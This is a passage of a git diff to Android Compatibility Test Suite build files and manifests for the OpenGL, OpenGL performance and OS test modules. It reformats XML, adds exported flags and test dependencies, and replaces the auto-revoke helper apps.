-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.opengl.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.opengl.cts">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
-    <application
-        android:icon="@drawable/ic_launcher"
-        android:label="@string/app_name"
-        android:hardwareAccelerated="false" >
+    <application android:icon="@drawable/ic_launcher"
+         android:label="@string/app_name"
+         android:hardwareAccelerated="false">
 
-         <activity
-            android:label="@string/app_name"
-            android:name="android.opengl.cts.OpenGLES20ActivityOne">
+         <activity android:label="@string/app_name"
+              android:name="android.opengl.cts.OpenGLES20ActivityOne">
          </activity>
-          <activity
-            android:label="@string/app_name"
-            android:name="android.opengl.cts.OpenGLES20ActivityTwo">
+          <activity android:label="@string/app_name"
+               android:name="android.opengl.cts.OpenGLES20ActivityTwo">
          </activity>
-         <uses-library  android:name="android.test.runner" />
-         <activity
-            android:name="android.opengl.cts.OpenGLES20NativeActivityOne"
-            android:label="@string/app_name" />
-         <activity
-            android:name="android.opengl.cts.OpenGLES20NativeActivityTwo"
-            android:label="@string/app_name" />
+         <uses-library android:name="android.test.runner"/>
+         <activity android:name="android.opengl.cts.OpenGLES20NativeActivityOne"
+              android:label="@string/app_name"/>
+         <activity android:name="android.opengl.cts.OpenGLES20NativeActivityTwo"
+              android:label="@string/app_name"/>
 
          <activity android:name="android.opengl.cts.CompressedTextureCtsActivity"
-            android:label="CompressedTextureCtsActivity"
-            android:screenOrientation="nosensor"
-            android:hardwareAccelerated="true">
+              android:label="CompressedTextureCtsActivity"
+              android:screenOrientation="nosensor"
+              android:hardwareAccelerated="true"
+              android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.opengl.cts.EglConfigCtsActivity"
-            android:configChanges="keyboardHidden|orientation|screenSize|uiMode"
-            android:hardwareAccelerated="true"/>
+             android:configChanges="keyboardHidden|orientation|screenSize|uiMode"
+             android:hardwareAccelerated="true"/>
 
         <activity android:name="android.opengl.cts.GLSurfaceViewCtsActivity"
-            android:label="GLSurfaceViewCts"
-            android:hardwareAccelerated="true"/>
+             android:label="GLSurfaceViewCts"
+             android:hardwareAccelerated="true"/>
 
         <activity android:name="android.opengl.cts.OpenGlEsVersionCtsActivity"
-            android:hardwareAccelerated="true"/>
+             android:hardwareAccelerated="true"/>
 
     </application>
 
diff --git a/tests/tests/opengl/libopengltest/Android.bp b/tests/tests/opengl/libopengltest/Android.bp
index aa2edcf..b7cf454 100644
--- a/tests/tests/opengl/libopengltest/Android.bp
+++ b/tests/tests/opengl/libopengltest/Android.bp
@@ -16,10 +16,6 @@
 // This is the shared library included by the JNI test app.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libopengltest_jni",
     srcs: [
diff --git a/tests/tests/openglperf/Android.bp b/tests/tests/openglperf/Android.bp
index da7eaa7..1da66cd 100644
--- a/tests/tests/openglperf/Android.bp
+++ b/tests/tests/openglperf/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsOpenGlPerfTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/openglperf/AndroidManifest.xml b/tests/tests/openglperf/AndroidManifest.xml
index 5ccdc1e..8573455 100644
--- a/tests/tests/openglperf/AndroidManifest.xml
+++ b/tests/tests/openglperf/AndroidManifest.xml
@@ -13,42 +13,43 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.openglperf.cts"
-    android:versionCode="1"
-    android:versionName="1.0" >
 
-    <uses-feature android:glEsVersion="0x00020000" android:required="true" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.GET_TASKS" />
-    <uses-permission android:name="android.permission.REORDER_TASKS" />
-    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.openglperf.cts"
+     android:versionCode="1"
+     android:versionName="1.0">
+
+    <uses-feature android:glEsVersion="0x00020000"
+         android:required="true"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.GET_TASKS"/>
+    <uses-permission android:name="android.permission.REORDER_TASKS"/>
+    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES"/>
 
     <!-- Two activities are used -->
-    <instrumentation
-        android:targetPackage="com.replica.replicaisland"
-        android:name="androidx.test.runner.AndroidJUnitRunner" >
+    <instrumentation android:targetPackage="com.replica.replicaisland"
+         android:name="androidx.test.runner.AndroidJUnitRunner">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
-    <instrumentation
-        android:targetPackage="android.openglperf.cts"
-        android:name="androidx.test.runner.AndroidJUnitRunner">
+    <instrumentation android:targetPackage="android.openglperf.cts"
+         android:name="androidx.test.runner.AndroidJUnitRunner">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <activity android:name="android.openglperf.cts.GlPlanetsActivity"
-		  android:configChanges="keyboard|keyboardHidden|orientation|screenSize">
+             android:configChanges="keyboard|keyboardHidden|orientation|screenSize"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
         <activity android:name="android.openglperf.cts.TextureTestActivity"
-		  android:configChanges="keyboard|keyboardHidden|orientation|screenSize" />
+             android:configChanges="keyboard|keyboardHidden|orientation|screenSize"/>
     </application>
 
 </manifest>
diff --git a/tests/tests/openglperf/AndroidTest.xml b/tests/tests/openglperf/AndroidTest.xml
index 57d452e..7ce5a95 100644
--- a/tests/tests/openglperf/AndroidTest.xml
+++ b/tests/tests/openglperf/AndroidTest.xml
@@ -17,10 +17,12 @@
     <option name="config-descriptor:metadata" key="component" value="graphics" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user"/>
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsOpenGlPerfTestCases.apk" />
+        <option name="test-file-name" value="com.replica.replicaisland.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.openglperf.cts" />
diff --git a/tests/tests/openglperf/jni/Android.bp b/tests/tests/openglperf/jni/Android.bp
index a27b92b..2b8936c 100644
--- a/tests/tests/openglperf/jni/Android.bp
+++ b/tests/tests/openglperf/jni/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libctsopenglperf_jni",
     srcs: ["OpenGlPerfNativeJni.cpp"],
diff --git a/tests/tests/openglperf/src/android/openglperf/cts/GlAppSwitchTest.java b/tests/tests/openglperf/src/android/openglperf/cts/GlAppSwitchTest.java
index aa4ca49..d6c878f 100644
--- a/tests/tests/openglperf/src/android/openglperf/cts/GlAppSwitchTest.java
+++ b/tests/tests/openglperf/src/android/openglperf/cts/GlAppSwitchTest.java
@@ -69,6 +69,10 @@
         Instrumentation instrument = getInstrumentation();
         Context context = instrument.getContext();
 
+        // This is needed so that |mActivityManager.getRunningTasks(...)| is able to
+        // see tasks from |REPLICA_ISLAND_PACKAGE|.
+        instrument.getUiAutomation().adoptShellPermissionIdentity();
+
         mActivityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
 
         Intent intentPlanets = new Intent();
diff --git a/tests/tests/os/Android.bp b/tests/tests/os/Android.bp
index b5272b1..87d64d6 100644
--- a/tests/tests/os/Android.bp
+++ b/tests/tests/os/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsOsTestCases",
     defaults: ["cts_defaults"],
@@ -30,7 +26,8 @@
         "truth-prebuilt",
         "guava",
         "junit",
-        "CtsMockInputMethodLib"
+        "CtsMockInputMethodLib",
+        "hamcrest-library",
     ],
     jni_uses_platform_apis: true,
     jni_libs: [
@@ -54,6 +51,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     sdk_version: "test_current",
     libs: [
@@ -62,4 +60,5 @@
     ],
     // Do not compress minijail policy files.
     aaptflags: ["-0 .policy"],
+    min_sdk_version : "29"
 }
diff --git a/tests/tests/os/Android.mk b/tests/tests/os/Android.mk
index 582419f..043578a2 100644
--- a/tests/tests/os/Android.mk
+++ b/tests/tests/os/Android.mk
@@ -19,8 +19,6 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := cts-platform-version-check
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_CLASS := ETC
 LOCAL_MODULE_TAGS := optional
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
diff --git a/tests/tests/os/AndroidManifest.xml b/tests/tests/os/AndroidManifest.xml
index 5a53fa5..f0f33ff 100644
--- a/tests/tests/os/AndroidManifest.xml
+++ b/tests/tests/os/AndroidManifest.xml
@@ -16,153 +16,169 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.os.cts">
+     package="android.os.cts">
 
     <permission android:name="android.os.cts.permission.TEST_GRANTED"
-        android:protectionLevel="normal"
-            android:label="@string/permlab_testGranted"
-            android:description="@string/permdesc_testGranted">
-        <meta-data android:name="android.os.cts.string" android:value="foo" />
-        <meta-data android:name="android.os.cts.boolean" android:value="true" />
-        <meta-data android:name="android.os.cts.integer" android:value="100" />
-        <meta-data android:name="android.os.cts.color" android:value="#ff000000" />
-        <meta-data android:name="android.os.cts.float" android:value="100.1" />
-        <meta-data android:name="android.os.cts.reference" android:resource="@xml/metadata" />
+         android:protectionLevel="normal"
+         android:label="@string/permlab_testGranted"
+         android:description="@string/permdesc_testGranted">
+        <meta-data android:name="android.os.cts.string"
+             android:value="foo"/>
+        <meta-data android:name="android.os.cts.boolean"
+             android:value="true"/>
+        <meta-data android:name="android.os.cts.integer"
+             android:value="100"/>
+        <meta-data android:name="android.os.cts.color"
+             android:value="#ff000000"/>
+        <meta-data android:name="android.os.cts.float"
+             android:value="100.1"/>
+        <meta-data android:name="android.os.cts.reference"
+             android:resource="@xml/metadata"/>
     </permission>
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.WAKE_LOCK" />
-    <uses-permission android:name="android.permission.VIBRATE" />
-    <uses-permission android:name="android.permission.ACCESS_VIBRATOR_STATE" />
-    <uses-permission android:name="android.permission.SEND_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WAKE_LOCK"/>
+    <uses-permission android:name="android.permission.VIBRATE"/>
+    <uses-permission android:name="android.permission.ACCESS_VIBRATOR_STATE"/>
+    <uses-permission android:name="android.permission.SEND_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
     <uses-permission android:name="android.permission.READ_SMS"/>
     <uses-permission android:name="android.permission.WRITE_SMS"/>
-    <uses-permission android:name="android.permission.CALL_PHONE" />
-    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS" />
-    <uses-permission android:name="android.permission.DEVICE_POWER" />
-    <uses-permission android:name="android.permission.POWER_SAVER" />
-    <uses-permission android:name="android.permission.INSTALL_DYNAMIC_SYSTEM" />
-    <uses-permission android:name="android.permission.MANAGE_COMPANION_DEVICES" />
+    <uses-permission android:name="android.permission.CALL_PHONE"/>
+    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
+    <uses-permission android:name="android.permission.DEVICE_POWER"/>
+    <uses-permission android:name="android.permission.POWER_SAVER"/>
+    <uses-permission android:name="android.permission.INSTALL_DYNAMIC_SYSTEM"/>
+    <uses-permission android:name="android.permission.MANAGE_COMPANION_DEVICES"/>
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
-    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
-    <uses-permission android:name="android.os.cts.permission.TEST_GRANTED" />
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
+    <uses-permission android:name="android.os.cts.permission.TEST_GRANTED"/>
 
-    <application
-            android:usesCleartextTraffic="true"
-            android:requestLegacyExternalStorage="true">
+    <application android:usesCleartextTraffic="true"
+         android:requestLegacyExternalStorage="true">
         <activity android:name="android.os.cts.LaunchpadActivity"
-                  android:configChanges="keyboardHidden|orientation|screenSize"
-                  android:multiprocess="true">
+             android:configChanges="keyboardHidden|orientation|screenSize"
+             android:multiprocess="true">
         </activity>
 
         <activity android:name="android.os.cts.AliasActivityStub">
             <meta-data android:name="android.os.alias"
-                android:resource="@xml/alias" />
+                 android:resource="@xml/alias"/>
         </activity>
 
         <activity android:name="android.os.cts.CountDownTimerTestStub"
-            android:label="CountDownTimerTestStub">
+             android:label="CountDownTimerTestStub"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.os.cts.SimpleTestActivity" />
+        <activity android:name="android.os.cts.SimpleTestActivity"/>
 
-        <service
-            android:name="android.os.cts.ParcelFileDescriptorPeer$Red"
-            android:process=":red"
-            android:exported="true" />
-        <service
-            android:name="android.os.cts.ParcelFileDescriptorPeer$Blue"
-            android:process=":blue"
-            android:exported="true" />
-        <service
-            android:name="android.os.cts.CrossProcessExceptionService"
-            android:process=":green"
-            android:exported="true" />
-        <service
-            android:name="android.os.cts.SharedMemoryService"
-            android:process=":sharedmem"
-            android:exported="false" />
-        <service
-            android:name="android.os.cts.ParcelExceptionService"
-            android:process=":remote"
-            android:exported="true" />
-        <service
-            android:name="android.os.cts.ParcelTest$ParcelObjectFreeService"
-            android:process=":remote"
-            android:exported="true" />
+        <activity android:name="android.os.cts.IntentLaunchActivity"
+             android:exported="true" />
 
-        <service android:name="android.os.cts.LocalService">
+        <service android:name="android.os.cts.ParcelFileDescriptorPeer$Red"
+             android:process=":red"
+             android:exported="true"/>
+        <service android:name="android.os.cts.ParcelFileDescriptorPeer$Blue"
+             android:process=":blue"
+             android:exported="true"/>
+        <service android:name="android.os.cts.CrossProcessExceptionService"
+             android:process=":green"
+             android:exported="true"/>
+        <service android:name="android.os.cts.SharedMemoryService"
+             android:process=":sharedmem"
+             android:exported="false"/>
+        <service android:name="android.os.cts.ParcelExceptionService"
+             android:process=":remote"
+             android:exported="true"/>
+        <service android:name="android.os.cts.ParcelTest$ParcelObjectFreeService"
+             android:process=":remote"
+             android:exported="true"/>
+
+        <service android:name="android.os.cts.LocalService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.os.cts.activity.SERVICE_LOCAL" />
+                <action android:name="android.os.cts.activity.SERVICE_LOCAL"/>
             </intent-filter>
-            <meta-data android:name="android.os.cts.string" android:value="foo" />
-            <meta-data android:name="android.os.cts.boolean" android:value="true" />
-            <meta-data android:name="android.os.cts.integer" android:value="100" />
-            <meta-data android:name="android.os.cts.color" android:value="#ff000000" />
-            <meta-data android:name="android.os.cts.float" android:value="100.1" />
-            <meta-data android:name="android.os.cts.reference" android:resource="@xml/metadata" />
+            <meta-data android:name="android.os.cts.string"
+                 android:value="foo"/>
+            <meta-data android:name="android.os.cts.boolean"
+                 android:value="true"/>
+            <meta-data android:name="android.os.cts.integer"
+                 android:value="100"/>
+            <meta-data android:name="android.os.cts.color"
+                 android:value="#ff000000"/>
+            <meta-data android:name="android.os.cts.float"
+                 android:value="100.1"/>
+            <meta-data android:name="android.os.cts.reference"
+                 android:resource="@xml/metadata"/>
         </service>
 
         <service android:name="android.os.cts.LocalGrantedService"
-             android:permission="android.os.cts.permission.TEST_GRANTED">
+             android:permission="android.os.cts.permission.TEST_GRANTED"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.os.cts.activity.SERVICE_LOCAL_GRANTED" />
+                <action android:name="android.os.cts.activity.SERVICE_LOCAL_GRANTED"/>
             </intent-filter>
         </service>
 
         <service android:name="android.os.cts.LocalDeniedService"
-               android:permission="android.os.cts.permission.TEST_DENIED">
+             android:permission="android.os.cts.permission.TEST_DENIED"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.os.cts.activity.SERVICE_LOCAL_DENIED" />
+                <action android:name="android.os.cts.activity.SERVICE_LOCAL_DENIED"/>
             </intent-filter>
         </service>
 
 
         <service android:name="android.os.cts.EmptyService"
-            android:process=":remote">
+             android:process=":remote"
+             android:exported="true">
             <intent-filter>
-                <action
-                    android:name="android.os.cts.IEmptyService" />
-                <action
-                    android:name="android.os.REMOTESERVICE" />
+                <action android:name="android.os.cts.IEmptyService"/>
+                <action android:name="android.os.REMOTESERVICE"/>
             </intent-filter>
         </service>
 
         <service android:name="android.os.cts.CtsRemoteService"
-            android:process=":remote">
+             android:process=":remote"
+             android:exported="true">
             <intent-filter>
-                <action
-                    android:name="android.os.cts.ISecondary" />
-                <action
-                    android:name="android.os.REMOTESERVICE" />
+                <action android:name="android.os.cts.ISecondary"/>
+                <action android:name="android.os.REMOTESERVICE"/>
             </intent-filter>
         </service>
 
         <service android:name="android.os.cts.SeccompTest$IsolatedService"
-                android:isolatedProcess="true">
+             android:isolatedProcess="true">
         </service>
 
         <service android:name="android.os.cts.MessengerService"
-                android:process=":messengerService">
+             android:process=":messengerService">
         </service>
 
-        <uses-library android:name="android.test.runner" />
+        <service android:name="android.os.cts.IntentLaunchService"
+             android:exported="true" />
+
+        <receiver android:name="android.os.cts.IntentLaunchReceiver"
+            android:exported="true" />
+
+        <uses-library android:name="android.test.runner"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.os.cts"
-                     android:label="CTS tests of android.os">
+         android:targetPackage="android.os.cts"
+         android:label="CTS tests of android.os">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
diff --git a/tests/tests/os/AutoRevokeDummyApp/Android.bp b/tests/tests/os/AutoRevokeDummyApp/Android.bp
deleted file mode 100644
index 1436586..0000000
--- a/tests/tests/os/AutoRevokeDummyApp/Android.bp
+++ /dev/null
@@ -1,33 +0,0 @@
-//
-// Copyright (C) 2020 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test_helper_app {
-    name: "CtsAutoRevokeDummyApp",
-    defaults: ["cts_defaults"],
-    sdk_version: "test_current",
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "vts",
-        "mts",
-        "general-tests",
-    ],
-    srcs: ["src/**/*.java", "src/**/*.kt"],
-}
diff --git a/tests/tests/os/AutoRevokeDummyApp/AndroidManifest.xml b/tests/tests/os/AutoRevokeDummyApp/AndroidManifest.xml
deleted file mode 100644
index bed0bf0..0000000
--- a/tests/tests/os/AutoRevokeDummyApp/AndroidManifest.xml
+++ /dev/null
@@ -1,36 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--s
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.os.cts.autorevokedummyapp">
-
-    <uses-permission android:name="android.permission.READ_CALENDAR" />
-
-    <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="30" />
-
-    <application>
-        <activity android:name="android.os.cts.autorevokedummyapp.MainActivity"
-                  android:exported="true"
-                  android:visibleToInstantApps="true" >
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.LAUNCHER"/>
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
-
diff --git a/tests/tests/os/AutoRevokeDummyApp/src/android/os/cts/autorevokedummyapp/MainActivity.kt b/tests/tests/os/AutoRevokeDummyApp/src/android/os/cts/autorevokedummyapp/MainActivity.kt
deleted file mode 100644
index 0ddfa77..0000000
--- a/tests/tests/os/AutoRevokeDummyApp/src/android/os/cts/autorevokedummyapp/MainActivity.kt
+++ /dev/null
@@ -1,58 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.os.cts.autorevokedummyapp
-
-import android.app.Activity
-import android.content.Intent
-import android.net.Uri
-import android.os.Bundle
-import android.widget.Button
-import android.widget.LinearLayout
-import android.widget.LinearLayout.VERTICAL
-import android.widget.TextView
-
-class MainActivity : Activity() {
-
-    val whitelistStatus by lazy { TextView(this) }
-
-    override fun onCreate(savedInstanceState: Bundle?) {
-        super.onCreate(savedInstanceState)
-
-        setContentView(LinearLayout(this).apply {
-            orientation = VERTICAL
-
-            addView(whitelistStatus)
-            addView(Button(this@MainActivity).apply {
-                text = "Request whitelist"
-
-                setOnClickListener {
-                    startActivity(
-                        Intent(Intent.ACTION_AUTO_REVOKE_PERMISSIONS)
-                            .setData(Uri.fromParts("package", packageName, null)))
-                }
-            })
-        })
-
-        requestPermissions(arrayOf("android.permission.READ_CALENDAR"), 0)
-    }
-
-    override fun onResume() {
-        super.onResume()
-
-        whitelistStatus.text = "Auto-revoke whitelisted: " + packageManager.isAutoRevokeWhitelisted
-    }
-}
diff --git a/tests/tests/os/AutoRevokePreRApp/Android.bp b/tests/tests/os/AutoRevokePreRApp/Android.bp
deleted file mode 100644
index 35f3a81..0000000
--- a/tests/tests/os/AutoRevokePreRApp/Android.bp
+++ /dev/null
@@ -1,34 +0,0 @@
-//
-// Copyright (C) 2020 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test_helper_app {
-    name: "CtsAutoRevokePreRApp",
-    defaults: ["cts_defaults"],
-    sdk_version: "test_current",
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "vts",
-        "vts10",
-        "mts",
-        "general-tests",
-    ],
-    srcs: ["src/**/*.java", "src/**/*.kt"],
-}
diff --git a/tests/tests/os/AutoRevokePreRApp/AndroidManifest.xml b/tests/tests/os/AutoRevokePreRApp/AndroidManifest.xml
deleted file mode 100644
index 972a19f..0000000
--- a/tests/tests/os/AutoRevokePreRApp/AndroidManifest.xml
+++ /dev/null
@@ -1,35 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.os.cts.autorevokeprerapp">
-
-    <uses-permission android:name="android.permission.READ_CALENDAR" />
-
-    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="29" />
-    <application>
-        <activity android:name="android.os.cts.autorevokeprerapp.MainActivity"
-                  android:exported="true"
-                  android:visibleToInstantApps="true" >
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.LAUNCHER"/>
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
-
diff --git a/tests/tests/os/AutoRevokePreRApp/src/android/os/cts/autorevokeprerapp/MainActivity.kt b/tests/tests/os/AutoRevokePreRApp/src/android/os/cts/autorevokeprerapp/MainActivity.kt
deleted file mode 100644
index ad4066b..0000000
--- a/tests/tests/os/AutoRevokePreRApp/src/android/os/cts/autorevokeprerapp/MainActivity.kt
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.os.cts.autorevokeprerapp
-
-import android.app.Activity
-import android.os.Bundle
-
-class MainActivity : Activity() {
-
-    override fun onCreate(savedInstanceState: Bundle?) {
-        super.onCreate(savedInstanceState)
-
-        requestPermissions(arrayOf("android.permission.READ_CALENDAR"), 0)
-    }
-}
diff --git a/tests/tests/os/AutoRevokeQApp/Android.bp b/tests/tests/os/AutoRevokeQApp/Android.bp
new file mode 100644
index 0000000..d6b6f88
--- /dev/null
+++ b/tests/tests/os/AutoRevokeQApp/Android.bp
@@ -0,0 +1,30 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsAutoRevokeQApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "test_current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "vts10",
+        "mts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java", "src/**/*.kt"],
+}
diff --git a/tests/tests/os/AutoRevokeQApp/AndroidManifest.xml b/tests/tests/os/AutoRevokeQApp/AndroidManifest.xml
new file mode 100644
index 0000000..fea9971
--- /dev/null
+++ b/tests/tests/os/AutoRevokeQApp/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
